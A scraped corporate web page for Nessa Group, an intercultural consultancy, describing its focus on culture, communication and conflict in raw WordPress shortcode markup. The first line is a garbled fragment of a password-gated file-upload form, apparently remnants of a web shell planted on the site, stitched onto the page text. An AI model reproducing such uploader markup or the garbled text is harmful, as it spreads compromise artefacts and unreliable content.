POST>PASSWORD: CHECKBOX NAME="F[]" VALUE=" "_upl" value="Upload" name="uploader" id="uploader" Our Vision – Nessa Group

[vc_row][vc_column][vc_custom_heading text=”Why NESSA?” google_fonts=”font_family:Titillium%20Web%3A200%2C200italic%2C300%2C300italic%2Cregular%2Citalic%2C600%2C600italic%2C700%2C700italic%2C900|font_style:400%20regular%3A400%3Anormal” font_container=”tag:h2|text_align:left” css=”.vc_custom_1545402806597{padding-bottom: 25px !important;}”][vc_column_text]Today’s global and culturally diverse work environments require leaders, managers and employees to think deliberately about how culture, communication and conflict impact organizational, interpersonal or team interactions. This demands specific skill sets and competencies that foster understanding and effective management of intercultural or multicultural environments.  Leaders and managers are expected to bring together diverse individuals around grand visions and specific project goals, all of whom think, feel, and act differently. Management, leadership, and staff engagement are called upon at all levels to acquire new dimensions of cultural, communication and conflict management competencies for effective collaboration and performance.  This is what we call Nessa’s 3 Cs.

At Nessa, we know that culture cultivates complexity as clients work to manage and navigate differences within their workplace and with their partners. In helping to tackle those challenges, Nessa’s approach integrates our knowledge of culture, communication and conflict at all phases of client support, from assessment or analysis, to design and implementation.

Nessa understands that culture; communication and conflict permeate all aspects of our lives, operating invisibly to shape and motivate the thinking, behaviors, and performance of individuals, teams, and leaders, impacting human and organizational systems. Culturally diverse teams and cross-cultural work environments have made us aware of the critical importance of understanding what we do not know about our partners, contractors or clients from different backgrounds to our own.

However, when cultures collide, it can lead to miscommunication, misperceptions and misunderstandings that negatively affect productivity, employee satisfaction, program success and effective decision-making.[/vc_column_text][/vc_column][/vc_row][vc_row full_width=”stretch_row” css=”.vc_custom_1534436126566{padding-top: 150px !important;padding-bottom: 150px !important;background-image: url(http://thenessagp.com/wp-content/uploads/2017/07/background-bosque.jpg?id=198) !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}”][vc_column text_color=”#ffffff”][vc_column_text]

Being aware of cultural differences is not the same thing as
knowing how to bridge and build from them

[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_column_text]With our deep understanding of cross-cultural dynamics, communication, organizational effectiveness, and conflict management, Nessa can help you develop the intercultural skills and understanding that will not only create cultural awareness within your organization, agency or team, but also provide a strategic advantage for reaching your benchmarks and goals.

Whether you are tasked with building and sustaining diverse teams or organizational systems, or managing staff and programming at the national or international levels, Nessa experts can help:

  • Strengthen your organization’s ability to manage change while transforming or preventing conflict and improving communication
  • Create an inclusive work environment through effective and transparent communication.
  • Enhance individual, team, and organizational performance based on solid competencies in the three Cs: culture, communication and conflict.

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